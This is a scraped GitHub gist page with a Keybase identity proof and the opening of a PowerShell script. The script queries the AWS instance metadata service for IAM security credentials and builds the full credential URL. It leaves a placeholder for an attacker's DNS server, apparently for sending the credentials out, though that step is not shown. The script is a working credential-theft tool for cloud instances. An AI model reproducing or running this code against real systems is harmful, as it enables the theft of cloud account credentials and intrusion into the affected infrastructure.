This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ### Keybase proof | |
| I hereby claim: | |
| * I am jr0ch17 on github. | |
| * I am jr0ch17 (https://keybase.io/jr0ch17) on keybase. | |
| * I have a public key ASCHU9ePU-TcyIgVcYlI5jr_UL9rV7RNb9zNTdejKUxYFAo | |
| To claim this, I am signing this object: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Hardcoded DNS Server and AWS IAM meta-data path | |
| $DNSServer = "" #Put your DNS server in here | |
| $AWSIAMPath = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" | |
| #GET IAM role | |
| $IAMRole = (Invoke-WebRequest $AWSIAMPath).Content | |
| #Concatenate AWS IAM meta-data path with IAM role | |
| $FullAWSIAMPath = [System.String]::Concat($AWSIAMPath,$IAMRole) |